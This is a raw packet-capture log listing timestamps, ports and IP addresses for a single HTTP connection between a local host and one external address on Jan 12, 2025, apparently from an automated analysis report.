Jan 12, 2025 17:39:11.145709991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.145742893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.145775080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.145807981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.145826101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.145826101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.145826101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.145840883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.145874023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.145917892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.145917892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.145917892 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146070004 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146102905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146127939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146151066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146152973 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146187067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146208048 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146220922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146231890 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146253109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146281958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146298885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146305084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146337986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146389961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146415949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146415949 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146442890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146445990 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146491051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146497011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146523952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146562099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146562099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146574020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146603107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146625996 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146655083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146692991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146699905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146699905 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146720886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146743059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146769047 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146770000 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146820068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146852016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146867037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146867037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146900892 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146908998 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.146949053 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.146982908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147013903 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147047043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147051096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147068977 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147069931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147069931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147078991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147111893 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147121906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147121906 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147140980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147173882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147207022 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147232056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147232056 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147238016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147273064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147305012 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147351027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147351027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147356033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147361994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147361994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147384882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147416115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147450924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147460938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147460938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147460938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147495031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147499084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147532940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147583008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147604942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147604942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147615910 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147648096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147680998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147691011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147691011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147691011 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147710085 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147742987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147774935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147789955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147789955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147789955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147806883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147824049 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147840023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147872925 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147878885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147880077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147907972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147938013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.147950888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147950888 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.147970915 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148004055 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148041010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148062944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148062944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148062944 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148073912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148108006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148122072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148122072 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148137093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148169041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148184061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148184061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148202896 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148231030 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.148258924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148258924 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.148323059 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175093889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175168991 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175218105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175282001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175309896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175309896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175354958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175364017 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175431967 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175494909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175546885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175548077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175546885 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175606966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175657988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175669909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175669909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175669909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175689936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175734043 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175784111 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175796986 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175797939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175816059 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175858974 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175865889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175909042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175920010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175920010 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.175946951 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.175976992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176023006 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176023006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176023006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176023006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176059961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176091909 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176126957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176140070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176140070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176140070 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176161051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176193953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176207066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176207066 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176227093 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176259995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176274061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176274061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176290035 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176322937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176356077 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176373959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176373959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176373959 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176454067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176491976 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176506042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176506042 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176523924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176561117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176592112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176613092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176613092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176613092 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176625013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176656008 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176676035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176676035 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176687956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176722050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176753998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176760912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176762104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176762104 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176786900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176820040 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176831007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176831007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176852942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176863909 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176886082 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176894903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176918983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176951885 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.176961899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176961899 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.176985025 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177016020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177032948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177032948 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177051067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177052021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177087069 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177099943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177119970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177148104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177181005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177190065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177190065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177190065 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177213907 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177246094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177278042 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177284956 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177285910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177285910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177310944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177344084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177357912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177357912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177377939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177409887 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177443027 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177453041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177453041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177453041 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177476883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177508116 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177541018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177556992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177556992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177556992 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177573919 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177609921 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177638054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.177647114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177647114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177663088 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.177687883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232161045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232242107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232309103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232362986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232398987 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232407093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232407093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232407093 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232431889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232448101 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232481956 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232516050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232551098 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232559919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232559919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232559919 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232597113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232644081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232644081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232662916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232731104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232736111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232791901 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232841015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232841015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232853889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232916117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.232974052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232974052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.232978106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233062983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233124018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233217955 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233236074 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233249903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233287096 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233324051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233340025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233340025 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233356953 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233381987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233405113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233439922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233473063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233473063 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233473063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233484983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233505011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233537912 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233573914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233577967 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233596087 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233603001 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233619928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233649015 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233658075 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233721972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233735085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233784914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233823061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233823061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233838081 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233871937 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233906031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233932972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233932972 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233961105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.233975887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.233998060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234031916 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234042883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234042883 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234066963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234091997 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234100103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234112024 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:11.234133005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234167099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:11.234181881 CET	49975	80	192.168.2.7	31.41.244.11
